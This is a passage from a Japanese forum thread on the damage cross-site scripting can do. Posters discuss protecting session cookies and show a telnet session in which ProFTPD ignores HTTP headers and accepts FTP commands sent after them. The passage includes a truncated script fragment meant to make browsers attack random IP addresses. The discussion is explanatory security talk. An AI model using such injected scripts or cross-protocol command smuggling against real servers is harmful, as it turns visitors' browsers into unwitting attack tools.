ところがどっこい。telnetを使ってftpなどに接続してみれば分かりますが、
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
GET / HTTP/1.0
500 GET not understood.
Host: fdsjkl
500 HOST: not understood.
Content-Length: 100
500 CONTENT-LENGTH: not understood.
USER hoge
331 Password required for hoge.
pass HOGE
530 Login incorrect.
XSSで引き起こされる被害 (スコア:1, すばらしい洞察)
という2種類ですよね。
前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。
Re:XSSで引き起こされる被害 (スコア:1)
>* ブラウザのセキュリティホールを突いてクライアントにいらん事される
>(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
これはあくまでXSSで引き起こされる被害の一部です。
ブラウザで可能なことであればほとんど出来ると思います。
例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
意のサーバーに攻撃を仕掛けることが可能になります。
<script>
ip = Math.round(Math.random()*253+1)+"." + Math.round(Ma
Re:XSSで引き起こされる被害 (スコア:1)
具体的には、POST / HTTP/1.1以下のHTTPヘッダが最初につきますし。
そのようなものを、たとえばftp鯖がすんなり受け入れるとは思えないのですが
Re:XSSで引き起こされる被害 (スコア:2, 参考になる)
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
GET / HTTP/1.0
500 GET not understood.
Host: fdsjkl
500 HOST: not understood.
Content-Length: 100
500 CONTENT-LENGTH: not understood.
USER hoge
331 Password required for hoge.
pass HOGE
530 Login incorrect.
とまぁ、間違ったコマンドは無視してしまうわけです。これをうまく使えば
必要なコマンドを発行できるわけですね。これを多分securityfocusのメーリングリストだったと思いますが見たときはちょっと驚いてしまいました。
Re:XSSで引き起こされる被害 (スコア:1)
と書きましたが、ここにこの件についての記述があります。 [securiteam.com]